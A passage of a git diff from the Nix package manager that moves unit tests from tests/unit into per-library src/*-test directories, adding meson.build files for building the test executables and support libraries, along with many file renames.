at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +sources = files( + 'derived-path.cc', + 'error_traces.cc', + 'eval.cc', + 'json.cc', + 'main.cc', + 'nix_api_expr.cc', + 'nix_api_external.cc', + 'nix_api_value.cc', + 'primops.cc', + 'search-path.cc', + 'trivial.cc', + 'value/context.cc', + 'value/print.cc', + 'value/value.cc', +) + +include_dirs = [include_directories('.')] + + +this_exe = executable( + meson.project_name(), + sources, + dependencies : deps_private_subproject + deps_private + deps_other, + include_directories : include_dirs, + # TODO: -lrapidcheck, see ../libutil-support/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + # get main from gtest + install : true, +) + +test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_dirs, + link_with : this_exe, + compile_args : ['-std=c++2a'], +)) diff --git a/tests/unit/libexpr/nix_api_expr.cc b/src/libexpr-test/nix_api_expr.cc similarity index 100% rename from tests/unit/libexpr/nix_api_expr.cc rename to src/libexpr-test/nix_api_expr.cc diff --git a/tests/unit/libexpr/nix_api_external.cc b/src/libexpr-test/nix_api_external.cc similarity index 100% rename from tests/unit/libexpr/nix_api_external.cc rename to src/libexpr-test/nix_api_external.cc diff --git a/tests/unit/libexpr/nix_api_value.cc b/src/libexpr-test/nix_api_value.cc similarity index 100% rename from tests/unit/libexpr/nix_api_value.cc rename to src/libexpr-test/nix_api_value.cc diff --git a/tests/unit/libexpr/primops.cc b/src/libexpr-test/primops.cc similarity index 100% rename from tests/unit/libexpr/primops.cc rename to src/libexpr-test/primops.cc diff --git a/tests/unit/libexpr/search-path.cc b/src/libexpr-test/search-path.cc similarity index 100% rename from tests/unit/libexpr/search-path.cc rename to src/libexpr-test/search-path.cc diff --git a/tests/unit/libexpr/trivial.cc b/src/libexpr-test/trivial.cc similarity index 100% rename from tests/unit/libexpr/trivial.cc rename to src/libexpr-test/trivial.cc diff --git a/tests/unit/libexpr/value/context.cc b/src/libexpr-test/value/context.cc similarity index 100% rename from tests/unit/libexpr/value/context.cc rename to src/libexpr-test/value/context.cc diff --git a/tests/unit/libexpr/value/print.cc b/src/libexpr-test/value/print.cc similarity index 100% rename from tests/unit/libexpr/value/print.cc rename to src/libexpr-test/value/print.cc diff --git a/tests/unit/libexpr/value/value.cc b/src/libexpr-test/value/value.cc similarity index 100% rename from tests/unit/libexpr/value/value.cc rename to src/libexpr-test/value/value.cc diff --git a/src/libfetchers-test/.version b/src/libfetchers-test/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libfetchers-test/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/tests/unit/libfetchers/data/public-key/defaultType.json b/src/libfetchers-test/data/public-key/defaultType.json similarity index 100% rename from tests/unit/libfetchers/data/public-key/defaultType.json rename to src/libfetchers-test/data/public-key/defaultType.json diff --git a/tests/unit/libfetchers/data/public-key/noRoundTrip.json b/src/libfetchers-test/data/public-key/noRoundTrip.json similarity index 100% rename from tests/unit/libfetchers/data/public-key/noRoundTrip.json rename to src/libfetchers-test/data/public-key/noRoundTrip.json diff --git a/tests/unit/libfetchers/data/public-key/simple.json b/src/libfetchers-test/data/public-key/simple.json similarity index 100% rename from tests/unit/libfetchers/data/public-key/simple.json rename to src/libfetchers-test/data/public-key/simple.json diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build new file mode 100644 index 000000000..be031f592 --- /dev/null +++ b/src/libfetchers-test/meson.build @@ -0,0 +1,109 @@ +project('nix-fetchers-test', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +# See note in ../nix-util/meson.build +deps_private = [ ] + +# See note in ../nix-util/meson.build +deps_private_subproject = [ ] + +# See note in ../nix-util/meson.build +deps_other = [ ] + +foreach nix_dep : [ + dependency('nix-util'), + dependency('nix-util-c'), + dependency('nix-util-test-support'), + dependency('nix-store'), + dependency('nix-store-c'), + dependency('nix-store-test-support'), + dependency('nix-fetchers'), +] + if nix_dep.type_name() == 'internal' + deps_private_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_private += nix_dep + endif +endforeach + +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # Windows DLLs are stricter about symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif + +rapidcheck = dependency('rapidcheck') +deps_private += rapidcheck + +gtest = dependency('gtest', main : true) +deps_private += gtest + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-store.hh', + '-include', 'config-util.h', + '-include', 'config-store.h', + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +sources = files( + 'public-key.cc', +) + +include_dirs = [include_directories('.')] + + +this_exe = executable( + meson.project_name(), + sources, + dependencies : deps_private_subproject + deps_private + deps_other, + include_directories : include_dirs, + # TODO: -lrapidcheck, see ../libutil-support/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + # get main from gtest + install : true, +) + +test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_dirs, + link_with : this_exe, + compile_args : ['-std=c++2a'], +)) diff --git a/tests/unit/libfetchers/public-key.cc b/src/libfetchers-test/public-key.cc similarity index 100% rename from tests/unit/libfetchers/public-key.cc rename to src/libfetchers-test/public-key.cc diff --git a/src/libflake-test/.version b/src/libflake-test/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libflake-test/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/tests/unit/libflake/flakeref.cc b/src/libflake-test/flakeref.cc similarity index 100% rename from tests/unit/libflake/flakeref.cc rename to src/libflake-test/flakeref.cc diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build new file mode 100644 index 000000000..a9df80885 --- /dev/null +++ b/src/libflake-test/meson.build @@ -0,0 +1,114 @@ +project('nix-flake-test', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +# See note in ../nix-util/meson.build +deps_private = [ ] + +# See note in ../nix-util/meson.build +deps_private_subproject = [ ] + +# See note in ../nix-util/meson.build +deps_other = [ ] + +foreach nix_dep : [ + dependency('nix-util'), + dependency('nix-util-c'), + dependency('nix-util-test-support'), + dependency('nix-store'), + dependency('nix-store-c'), + dependency('nix-store-test-support'), + dependency('nix-expr'), + dependency('nix-expr-c'), + dependency('nix-expr-test-support'), + dependency('nix-flake'), +] + if nix_dep.type_name() == 'internal' + deps_private_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_private += nix_dep + endif +endforeach + +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # Windows DLLs are stricter about symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif + +rapidcheck = dependency('rapidcheck') +deps_private += rapidcheck + +gtest = dependency('gtest', main : true) +deps_private += gtest + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-expr.hh', + '-include', 'config-util.h', + '-include', 'config-store.h', + '-include', 'config-expr.h', + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +sources = files( + 'flakeref.cc', + 'url-name.cc', +) + +include_dirs = [include_directories('.')] + + +this_exe = executable( + meson.project_name(), + sources, + dependencies : deps_private_subproject + deps_private + deps_other, + include_directories : include_dirs, + # TODO: -lrapidcheck, see ../libutil-support/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + # get main from gtest + install : true, +) + +test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_dirs, + link_with : this_exe, + compile_args : ['-std=c++2a'], +)) diff --git a/tests/unit/libflake/url-name.cc b/src/libflake-test/url-name.cc similarity index 100% rename from tests/unit/libflake/url-name.cc rename to src/libflake-test/url-name.cc diff --git a/src/libstore-test-support/.version b/src/libstore-test-support/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libstore-test-support/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build new file mode 100644 index 000000000..186d9b72a --- /dev/null +++ b/src/libstore-test-support/meson.build @@ -0,0 +1,130 @@ +project('nix-store-test-support', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +# See note in ../nix-util/meson.build +deps_private = [ ] + +# See note in ../nix-util/meson.build +deps_public = [ ] + +# See note in ../nix-util/meson.build +deps_public_subproject = [ ] + +# See note in ../nix-util/meson.build +deps_other = [ ] + +foreach nix_dep : [ + dependency('nix-util'), + dependency('nix-util-test-support'), + dependency('nix-store'), +] + if nix_dep.type_name() == 'internal' + deps_public_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_public += nix_dep + endif +endforeach + +rapidcheck = dependency('rapidcheck') +deps_public += rapidcheck + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +sources = files( + 'tests/derived-path.cc', + 'tests/outputs-spec.cc', + 'tests/path.cc', +) + +include_dirs = [include_directories('.')] + +headers = files( + 'tests/derived-path.hh', + 'tests/libstore.hh', + 'tests/nix_api_store.hh', + 'tests/outputs-spec.hh', + 'tests/path.hh', + 'tests/protocol.hh', +) + +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # Windows DLLs are stricter about symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif + +this_library = library( + 'nix-store-test-support', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + # TODO: Remove `-lrapidcheck` when https://github.com/emil-e/rapidcheck/pull/326 + # is available. See also ../libutil/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +requires = [] +foreach dep : deps_public_subproject + requires += dep.name() +endforeach +requires += deps_public + +import('pkgconfig').generate( + this_library, + filebase : meson.project_name(), + name : 'Nix', + description : 'Nix Package Manager', + subdirs : ['nix'], + extra_cflags : ['-std=c++2a'], + requires : requires, + requires_private : deps_private, +) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_dirs, + link_with : this_library, + compile_args : ['-std=c++2a'], + dependencies : deps_public_subproject + deps_public, +)) diff --git a/tests/unit/libstore-support/tests/derived-path.cc b/src/libstore-test-support/tests/derived-path.cc similarity index 100% rename from tests/unit/libstore-support/tests/derived-path.cc rename to src/libstore-test-support/tests/derived-path.cc diff --git a/tests/unit/libstore-support/tests/derived-path.hh b/src/libstore-test-support/tests/derived-path.hh similarity index 100% rename from tests/unit/libstore-support/tests/derived-path.hh rename to src/libstore-test-support/tests/derived-path.hh diff --git a/tests/unit/libstore-support/tests/libstore.hh b/src/libstore-test-support/tests/libstore.hh similarity index 100% rename from tests/unit/libstore-support/tests/libstore.hh rename to src/libstore-test-support/tests/libstore.hh diff --git a/tests/unit/libstore-support/tests/nix_api_store.hh b/src/libstore-test-support/tests/nix_api_store.hh similarity index 100% rename from tests/unit/libstore-support/tests/nix_api_store.hh rename to src/libstore-test-support/tests/nix_api_store.hh diff --git a/tests/unit/libstore-support/tests/outputs-spec.cc b/src/libstore-test-support/tests/outputs-spec.cc similarity index 100% rename from tests/unit/libstore-support/tests/outputs-spec.cc rename to src/libstore-test-support/tests/outputs-spec.cc diff --git a/tests/unit/libstore-support/tests/outputs-spec.hh b/src/libstore-test-support/tests/outputs-spec.hh similarity index 100% rename from tests/unit/libstore-support/tests/outputs-spec.hh rename to src/libstore-test-support/tests/outputs-spec.hh diff --git a/tests/unit/libstore-support/tests/path.cc b/src/libstore-test-support/tests/path.cc similarity index 100% rename from tests/unit/libstore-support/tests/path.cc rename to src/libstore-test-support/tests/path.cc diff --git a/tests/unit/libstore-support/tests/path.hh b/src/libstore-test-support/tests/path.hh similarity index 100% rename from tests/unit/libstore-support/tests/path.hh rename to src/libstore-test-support/tests/path.hh diff --git a/tests/unit/libstore-support/tests/protocol.hh b/src/libstore-test-support/tests/protocol.hh similarity index 100% rename from tests/unit/libstore-support/tests/protocol.hh rename to src/libstore-test-support/tests/protocol.hh diff --git a/src/libstore-test/.version b/src/libstore-test/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libstore-test/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/tests/unit/libstore/common-protocol.cc b/src/libstore-test/common-protocol.cc similarity index 100% rename from tests/unit/libstore/common-protocol.cc rename to src/libstore-test/common-protocol.cc diff --git a/tests/unit/libstore/content-address.cc b/src/libstore-test/content-address.cc similarity index 100% rename from tests/unit/libstore/content-address.cc rename to src/libstore-test/content-address.cc diff --git a/tests/unit/libstore/data/common-protocol/content-address.bin b/src/libstore-test/data/common-protocol/content-address.bin similarity index 100% rename from tests/unit/libstore/data/common-protocol/content-address.bin rename to src/libstore-test/data/common-protocol/content-address.bin diff --git a/tests/unit/libstore/data/common-protocol/drv-output.bin b/src/libstore-test/data/common-protocol/drv-output.bin similarity index 100% rename from tests/unit/libstore/data/common-protocol/drv-output.bin rename to src/libstore-test/data/common-protocol/drv-output.bin diff --git a/tests/unit/libstore/data/common-protocol/optional-content-address.bin b/src/libstore-test/data/common-protocol/optional-content-address.bin similarity index 100% rename from tests/unit/libstore/data/common-protocol/optional-content-address.bin rename to src/libstore-test/data/common-protocol/optional-content-address.bin diff --git a/tests/unit/libstore/data/common-protocol/optional-store-path.bin b/src/libstore-test/data/common-protocol/optional-store-path.bin similarity index 100% rename from tests/unit/libstore/data/common-protocol/optional-store-path.bin rename to src/libstore-test/data/common-protocol/optional-store-path.bin diff --git a/tests/unit/libstore/data/common-protocol/realisation.bin b/src/libstore-test/data/common-protocol/realisation.bin similarity index 100% rename from tests/unit/libstore/data/common-protocol/realisation.bin rename to src/libstore-test/data/common-protocol/realisation.bin diff --git a/tests/unit/libstore/data/common-protocol/set.bin b/src/libstore-test/data/common-protocol/set.bin similarity index 100% rename from tests/unit/libstore/data/common-protocol/set.bin rename to src/libstore-test/data/common-protocol/set.bin diff --git a/tests/unit/libstore/data/common-protocol/store-path.bin b/src/libstore-test/data/common-protocol/store-path.bin similarity index 100% rename from tests/unit/libstore/data/common-protocol/store-path.bin rename to src/libstore-test/data/common-protocol/store-path.bin diff --git a/tests/unit/libstore/data/common-protocol/string.bin b/src/libstore-test/data/common-protocol/string.bin similarity index 100% rename from tests/unit/libstore/data/common-protocol/string.bin rename to src/libstore-test/data/common-protocol/string.bin diff --git a/tests/unit/libstore/data/common-protocol/vector.bin b/src/libstore-test/data/common-protocol/vector.bin similarity index 100% rename from tests/unit/libstore/data/common-protocol/vector.bin rename to src/libstore-test/data/common-protocol/vector.bin diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv b/src/libstore-test/data/derivation/advanced-attributes-defaults.drv similarity index 100% rename from tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv rename to src/libstore-test/data/derivation/advanced-attributes-defaults.drv diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-defaults.json b/src/libstore-test/data/derivation/advanced-attributes-defaults.json similarity index 100% rename from tests/unit/libstore/data/derivation/advanced-attributes-defaults.json rename to src/libstore-test/data/derivation/advanced-attributes-defaults.json diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv b/src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.drv similarity index 100% rename from tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv rename to src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.drv diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json b/src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.json similarity index 100% rename from tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json rename to src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.json diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv b/src/libstore-test/data/derivation/advanced-attributes-structured-attrs.drv similarity index 100% rename from tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv rename to src/libstore-test/data/derivation/advanced-attributes-structured-attrs.drv diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json b/src/libstore-test/data/derivation/advanced-attributes-structured-attrs.json similarity index 100% rename from tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json rename to src/libstore-test/data/derivation/advanced-attributes-structured-attrs.json diff --git a/tests/unit/libstore/data/derivation/advanced-attributes.drv b/src/libstore-test/data/derivation/advanced-attributes.drv similarity index 100% rename from tests/unit/libstore/data/derivation/advanced-attributes.drv rename to src/libstore-test/data/derivation/advanced-attributes.drv diff --git a/tests/unit/libstore/data/derivation/bad-old-version-dyn-deps.drv b/src/libstore-test/data/derivation/bad-old-version-dyn-deps.drv similarity index 100% rename from tests/unit/libstore/data/derivation/bad-old-version-dyn-deps.drv rename to src/libstore-test/data/derivation/bad-old-version-dyn-deps.drv diff --git a/tests/unit/libstore/data/derivation/bad-version.drv b/src/libstore-test/data/derivation/bad-version.drv similarity index 100% rename from tests/unit/libstore/data/derivation/bad-version.drv rename to src/libstore-test/data/derivation/bad-version.drv diff --git a/tests/unit/libstore/data/derivation/dynDerivationDeps.drv b/src/libstore-test/data/derivation/dynDerivationDeps.drv similarity index 100% rename from tests/unit/libstore/data/derivation/dynDerivationDeps.drv rename to src/libstore-test/data/derivation/dynDerivationDeps.drv diff --git a/tests/unit/libstore/data/derivation/dynDerivationDeps.json b/src/libstore-test/data/derivation/dynDerivationDeps.json similarity index 100% rename from tests/unit/libstore/data/derivation/dynDerivationDeps.json rename to src/libstore-test/data/derivation/dynDerivationDeps.json diff --git a/tests/unit/libstore/data/derivation/output-caFixedFlat.json b/src/libstore-test/data/derivation/output-caFixedFlat.json similarity index 100% rename from tests/unit/libstore/data/derivation/output-caFixedFlat.json rename to src/libstore-test/data/derivation/output-caFixedFlat.json diff --git a/tests/unit/libstore/data/derivation/output-caFixedNAR.json b/src/libstore-test/data/derivation/output-caFixedNAR.json similarity index 100% rename from tests/unit/libstore/data/derivation/output-caFixedNAR.json rename to src/libstore-test/data/derivation/output-caFixedNAR.json diff --git a/tests/unit/libstore/data/derivation/output-caFixedText.json b/src/libstore-test/data/derivation/output-caFixedText.json similarity index 100% rename from tests/unit/libstore/data/derivation/output-caFixedText.json rename to src/libstore-test/data/derivation/output-caFixedText.json diff --git a/tests/unit/libstore/data/derivation/output-caFloating.json b/src/libstore-test/data/derivation/output-caFloating.json similarity index 100% rename from tests/unit/libstore/data/derivation/output-caFloating.json rename to src/libstore-test/data/derivation/output-caFloating.json diff --git a/tests/unit/libstore/data/derivation/output-deferred.json b/src/libstore-test/data/derivation/output-deferred.json similarity index 100% rename from tests/unit/libstore/data/derivation/output-deferred.json rename to src/libstore-test/data/derivation/output-deferred.json diff --git a/tests/unit/libstore/data/derivation/output-impure.json b/src/libstore-test/data/derivation/output-impure.json similarity index 100% rename from tests/unit/libstore/data/derivation/output-impure.json rename to src/libstore-test/data/derivation/output-impure.json diff --git a/tests/unit/libstore/data/derivation/output-inputAddressed.json b/src/libstore-test/data/derivation/output-inputAddressed.json similarity index 100% rename from tests/unit/libstore/data/derivation/output-inputAddressed.json rename to src/libstore-test/data/derivation/output-inputAddressed.json diff --git a/tests/unit/libstore/data/derivation/simple.drv b/src/libstore-test/data/derivation/simple.drv similarity index 100% rename from tests/unit/libstore/data/derivation/simple.drv rename to src/libstore-test/data/derivation/simple.drv diff --git a/tests/unit/libstore/data/derivation/simple.json b/src/libstore-test/data/derivation/simple.json similarity index 100% rename from tests/unit/libstore/data/derivation/simple.json rename to src/libstore-test/data/derivation/simple.json diff --git a/tests/unit/libstore/data/machines/bad_format b/src/libstore-test/data/machines/bad_format similarity index 100% rename from tests/unit/libstore/data/machines/bad_format rename to src/libstore-test/data/machines/bad_format diff --git a/tests/unit/libstore/data/machines/valid b/src/libstore-test/data/machines/valid similarity index 100% rename from tests/unit/libstore/data/machines/valid rename to src/libstore-test/data/machines/valid diff --git a/tests/unit/libstore/data/nar-info/impure.json b/src/libstore-test/data/nar-info/impure.json similarity index 100% rename from tests/unit/libstore/data/nar-info/impure.json rename to src/libstore-test/data/nar-info/impure.json diff --git a/tests/unit/libstore/data/nar-info/pure.json b/src/libstore-test/data/nar-info/pure.json similarity index 100% rename from tests/unit/libstore/data/nar-info/pure.json rename to src/libstore-test/data/nar-info/pure.json diff --git a/tests/unit/libstore/data/path-info/empty_impure.json b/src/libstore-test/data/path-info/empty_impure.json similarity index 100% rename from tests/unit/libstore/data/path-info/empty_impure.json rename to src/libstore-test/data/path-info/empty_impure.json diff --git a/tests/unit/libstore/data/path-info/empty_pure.json b/src/libstore-test/data/path-info/empty_pure.json similarity index 100% rename from tests/unit/libstore/data/path-info/empty_pure.json rename to src/libstore-test/data/path-info/empty_pure.json diff --git a/tests/unit/libstore/data/path-info/impure.json b/src/libstore-test/data/path-info/impure.json similarity index 100% rename from tests/unit/libstore/data/path-info/impure.json rename to src/libstore-test/data/path-info/impure.json diff --git a/tests/unit/libstore/data/path-info/pure.json b/src/libstore-test/data/path-info/pure.json similarity index 100% rename from tests/unit/libstore/data/path-info/pure.json rename to src/libstore-test/data/path-info/pure.json diff --git a/tests/unit/libstore/data/serve-protocol/build-options-2.1.bin b/src/libstore-test/data/serve-protocol/build-options-2.1.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/build-options-2.1.bin rename to src/libstore-test/data/serve-protocol/build-options-2.1.bin diff --git a/tests/unit/libstore/data/serve-protocol/build-options-2.2.bin b/src/libstore-test/data/serve-protocol/build-options-2.2.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/build-options-2.2.bin rename to src/libstore-test/data/serve-protocol/build-options-2.2.bin diff --git a/tests/unit/libstore/data/serve-protocol/build-options-2.3.bin b/src/libstore-test/data/serve-protocol/build-options-2.3.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/build-options-2.3.bin rename to src/libstore-test/data/serve-protocol/build-options-2.3.bin diff --git a/tests/unit/libstore/data/serve-protocol/build-options-2.7.bin b/src/libstore-test/data/serve-protocol/build-options-2.7.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/build-options-2.7.bin rename to src/libstore-test/data/serve-protocol/build-options-2.7.bin diff --git a/tests/unit/libstore/data/serve-protocol/build-result-2.2.bin b/src/libstore-test/data/serve-protocol/build-result-2.2.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/build-result-2.2.bin rename to src/libstore-test/data/serve-protocol/build-result-2.2.bin diff --git a/tests/unit/libstore/data/serve-protocol/build-result-2.3.bin b/src/libstore-test/data/serve-protocol/build-result-2.3.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/build-result-2.3.bin rename to src/libstore-test/data/serve-protocol/build-result-2.3.bin diff --git a/tests/unit/libstore/data/serve-protocol/build-result-2.6.bin b/src/libstore-test/data/serve-protocol/build-result-2.6.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/build-result-2.6.bin rename to src/libstore-test/data/serve-protocol/build-result-2.6.bin diff --git a/tests/unit/libstore/data/serve-protocol/content-address.bin b/src/libstore-test/data/serve-protocol/content-address.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/content-address.bin rename to src/libstore-test/data/serve-protocol/content-address.bin diff --git a/tests/unit/libstore/data/serve-protocol/drv-output.bin b/src/libstore-test/data/serve-protocol/drv-output.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/drv-output.bin rename to src/libstore-test/data/serve-protocol/drv-output.bin diff --git a/tests/unit/libstore/data/serve-protocol/handshake-to-client.bin b/src/libstore-test/data/serve-protocol/handshake-to-client.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/handshake-to-client.bin rename to src/libstore-test/data/serve-protocol/handshake-to-client.bin diff --git a/tests/unit/libstore/data/serve-protocol/optional-content-address.bin b/src/libstore-test/data/serve-protocol/optional-content-address.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/optional-content-address.bin rename to src/libstore-test/data/serve-protocol/optional-content-address.bin diff --git a/tests/unit/libstore/data/serve-protocol/optional-store-path.bin b/src/libstore-test/data/serve-protocol/optional-store-path.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/optional-store-path.bin rename to src/libstore-test/data/serve-protocol/optional-store-path.bin diff --git a/tests/unit/libstore/data/serve-protocol/realisation.bin b/src/libstore-test/data/serve-protocol/realisation.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/realisation.bin rename to src/libstore-test/data/serve-protocol/realisation.bin diff --git a/tests/unit/libstore/data/serve-protocol/set.bin b/src/libstore-test/data/serve-protocol/set.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/set.bin rename to src/libstore-test/data/serve-protocol/set.bin diff --git a/tests/unit/libstore/data/serve-protocol/store-path.bin b/src/libstore-test/data/serve-protocol/store-path.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/store-path.bin rename to src/libstore-test/data/serve-protocol/store-path.bin diff --git a/tests/unit/libstore/data/serve-protocol/string.bin b/src/libstore-test/data/serve-protocol/string.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/string.bin rename to src/libstore-test/data/serve-protocol/string.bin diff --git a/tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.3.bin b/src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.3.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.3.bin rename to src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.3.bin diff --git a/tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.4.bin b/src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.4.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/unkeyed-valid-path-info-2.4.bin rename to src/libstore-test/data/serve-protocol/unkeyed-valid-path-info-2.4.bin diff --git a/tests/unit/libstore/data/serve-protocol/vector.bin b/src/libstore-test/data/serve-protocol/vector.bin similarity index 100% rename from tests/unit/libstore/data/serve-protocol/vector.bin rename to src/libstore-test/data/serve-protocol/vector.bin diff --git a/tests/unit/libstore/data/store-reference/auto.txt b/src/libstore-test/data/store-reference/auto.txt similarity index 100% rename from 